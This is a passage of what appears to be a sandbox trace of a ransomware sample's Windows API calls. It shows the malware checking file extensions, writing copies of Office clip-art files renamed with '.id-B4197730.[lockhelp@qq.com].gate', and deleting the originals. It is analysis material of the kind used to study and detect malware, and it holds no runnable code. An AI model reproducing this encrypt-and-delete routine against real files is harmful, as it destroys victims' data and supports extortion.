(lpString=".docx") returned 5 [0290.832] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0290.832] lstrlenW (lpString=".pdf") returned 4 [0290.832] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0290.832] lstrlenW (lpString=".xls") returned 4 [0290.832] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0290.832] lstrlenW (lpString=".xlsx") returned 5 [0290.832] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0290.832] lstrlenW (lpString=".ppt") returned 4 [0290.832] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0290.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0290.832] lstrlenW (lpString=".zip") returned 4 [0290.832] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0290.832] lstrlenW (lpString=".rar") returned 4 [0290.832] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0290.832] lstrlenW (lpString=".bz2") returned 4 [0290.832] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0290.832] lstrlenW (lpString=".7z") returned 3 [0290.832] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0290.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0290.832] lstrlenW (lpString=".dbf") returned 4 [0290.832] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0290.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0290.833] lstrlenW (lpString=".1cd") returned 4 [0290.833] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0290.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0290.833] lstrlenW (lpString=".jpg") returned 4 [0290.833] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0290.833] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=3896) returned 1 [0290.833] CloseHandle (hObject=0x4b0) returned 1 [0290.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf")) returned 0x220 [0290.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0290.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0290.834] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0290.834] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0290.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0290.835] GetLastError () returned 0x0 [0290.835] ReadFile (in: hFile=0x4b0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0xf38, lpOverlapped=0x0) returned 1 [0291.103] WriteFile (in: hFile=0x4c4, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xf40, lpOverlapped=0x0) returned 1 [0291.104] ReadFile (in: hFile=0x4b0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0291.104] WriteFile (in: hFile=0x4c4, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0291.104] SetEndOfFile (hFile=0x4c4) returned 1 [0291.104] CloseHandle (hObject=0x4c4) returned 1 [0291.105] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0291.105] SetEndOfFile (hFile=0x4b0) returned 1 [0291.107] CloseHandle (hObject=0x4b0) returned 1 [0291.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0291.229] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf")) returned 1 [0291.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0291.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0291.229] lstrlenW (lpString=".doc") returned 4 [0291.229] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0291.229] lstrlenW (lpString=".docx") returned 5 [0291.229] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0291.229] lstrlenW (lpString=".pdf") returned 4 [0291.229] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0291.229] lstrlenW (lpString=".xls") returned 4 [0291.229] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0291.229] lstrlenW (lpString=".xlsx") returned 5 [0291.229] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0291.229] lstrlenW (lpString=".ppt") returned 4 [0291.229] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0291.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0291.229] lstrlenW (lpString=".zip") returned 4 [0291.229] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0291.229] lstrlenW (lpString=".rar") returned 4 [0291.229] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0291.230] lstrlenW (lpString=".bz2") returned 4 [0291.230] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0291.230] lstrlenW (lpString=".7z") returned 3 [0291.230] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0291.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0291.230] lstrlenW (lpString=".dbf") returned 4 [0291.230] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0291.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0291.230] lstrlenW (lpString=".1cd") returned 4 [0291.230] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0291.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0291.230] lstrlenW (lpString=".jpg") returned 4 [0291.230] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0291.231] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=3948) returned 1 [0291.231] CloseHandle (hObject=0x418) returned 1 [0291.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf")) returned 0x220 [0291.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0291.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0291.231] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0291.231] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0291.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0291.232] GetLastError () returned 0x0 [0291.232] ReadFile (in: hFile=0x418, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0xf6c, lpOverlapped=0x0) returned 1 [0291.314] WriteFile (in: hFile=0x4c4, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xf70, lpOverlapped=0x0) returned 1 [0291.314] ReadFile (in: hFile=0x418, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0291.314] WriteFile (in: hFile=0x4c4, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0291.315] SetEndOfFile (hFile=0x4c4) returned 1 [0291.466] CloseHandle (hObject=0x4c4) returned 1 [0291.573] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0291.573] SetEndOfFile (hFile=0x418) returned 1 [0291.707] CloseHandle (hObject=0x418) returned 1 [0291.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0291.707] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf")) returned 1 [0291.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0291.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0291.708] lstrlenW (lpString=".doc") returned 4 [0291.708] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0291.708] lstrlenW (lpString=".docx") returned 5 [0291.708] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0291.708] lstrlenW (lpString=".pdf") returned 4 [0291.708] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0291.708] lstrlenW (lpString=".xls") returned 4 [0291.708] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0291.708] lstrlenW (lpString=".xlsx") returned 5 [0291.708] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0291.709] lstrlenW (lpString=".ppt") returned 4 [0291.709] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0291.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0291.709] lstrlenW (lpString=".zip") returned 4 [0291.709] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0291.709] lstrlenW (lpString=".rar") returned 4 [0291.709] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0291.709] lstrlenW (lpString=".bz2") returned 4 [0291.709] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0291.709] lstrlenW (lpString=".7z") returned 3 [0291.709] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0291.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0291.709] lstrlenW (lpString=".dbf") returned 4 [0291.709] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0291.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0291.709] lstrlenW (lpString=".1cd") returned 4 [0291.709] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0291.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0291.709] lstrlenW (lpString=".jpg") returned 4 [0291.709] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0291.710] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=3564) returned 1 [0291.710] CloseHandle (hObject=0x418) returned 1 [0291.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf")) returned 0x220 [0291.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0291.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0291.711] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0291.711] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0291.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4fc [0291.712] GetLastError () returned 0x0 [0291.712] ReadFile (in: hFile=0x418, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0xdec, lpOverlapped=0x0) returned 1 [0291.850] WriteFile (in: hFile=0x4fc, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xdf0, lpOverlapped=0x0) returned 1 [0291.851] ReadFile (in: hFile=0x418, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0291.851] WriteFile (in: hFile=0x4fc, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xe8, lpOverlapped=0x0) returned 1 [0291.851] SetEndOfFile (hFile=0x4fc) returned 1 [0291.863] CloseHandle (hObject=0x4fc) returned 1 [0291.867] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0291.867] SetEndOfFile (hFile=0x418) returned 1 [0291.883] CloseHandle (hObject=0x418) returned 1 [0291.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0291.935] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf")) returned 1 [0291.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0291.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0291.955] lstrlenW (lpString=".doc") returned 4 [0291.955] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0291.955] lstrlenW (lpString=".docx") returned 5 [0291.955] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0291.955] lstrlenW (lpString=".pdf") returned 4 [0291.955] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0291.955] lstrlenW (lpString=".xls") returned 4 [0291.955] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0291.955] lstrlenW (lpString=".xlsx") returned 5 [0291.956] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0291.956] lstrlenW (lpString=".ppt") returned 4 [0291.956] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0291.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0291.956] lstrlenW (lpString=".zip") returned 4 [0291.956] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0291.956] lstrlenW (lpString=".rar") returned 4 [0291.956] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0291.956] lstrlenW (lpString=".bz2") returned 4 [0291.956] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0291.956] lstrlenW (lpString=".7z") returned 3 [0291.956] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0291.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0291.956] lstrlenW (lpString=".dbf") returned 4 [0291.956] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0291.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0291.956] lstrlenW (lpString=".1cd") returned 4 [0291.956] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0291.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0291.956] lstrlenW (lpString=".jpg") returned 4 [0291.956] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0291.959] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=10326) returned 1 [0291.959] CloseHandle (hObject=0x4d4) returned 1 [0291.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf")) returned 0x220 [0291.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0291.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0291.960] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0291.960] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0291.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0291.960] GetLastError () returned 0x0 [0291.960] ReadFile (in: hFile=0x4d4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x2856, lpOverlapped=0x0) returned 1 [0292.128] WriteFile (in: hFile=0x4f4, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x2860, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x2860, lpOverlapped=0x0) returned 1 [0292.129] ReadFile (in: hFile=0x4d4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0292.129] WriteFile (in: hFile=0x4f4, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xea, lpOverlapped=0x0) returned 1 [0292.129] SetEndOfFile (hFile=0x4f4) returned 1 [0292.303] CloseHandle (hObject=0x4f4) returned 1 [0292.303] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0292.303] SetEndOfFile (hFile=0x4d4) returned 1 [0292.306] CloseHandle (hObject=0x4d4) returned 1 [0292.306] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0292.307] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf")) returned 1 [0292.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0292.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0292.307] lstrlenW (lpString=".doc") returned 4 [0292.307] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0292.307] lstrlenW (lpString=".docx") returned 5 [0292.307] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0292.308] lstrlenW (lpString=".pdf") returned 4 [0292.308] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0292.308] lstrlenW (lpString=".xls") returned 4 [0292.308] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0292.308] lstrlenW (lpString=".xlsx") returned 5 [0292.308] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0292.308] lstrlenW (lpString=".ppt") returned 4 [0292.308] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0292.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0292.308] lstrlenW (lpString=".zip") returned 4 [0292.308] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0292.308] lstrlenW (lpString=".rar") returned 4 [0292.308] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0292.308] lstrlenW (lpString=".bz2") returned 4 [0292.308] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0292.308] lstrlenW (lpString=".7z") returned 3 [0292.308] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0292.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0292.308] lstrlenW (lpString=".dbf") returned 4 [0292.308] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0292.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0292.308] lstrlenW (lpString=".1cd") returned 4 [0292.308] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0292.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0292.308] lstrlenW (lpString=".jpg") returned 4 [0292.308] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0292.309] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=2832) returned 1 [0292.309] CloseHandle (hObject=0x4d4) returned 1 [0292.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf")) returned 0x220 [0292.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0292.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 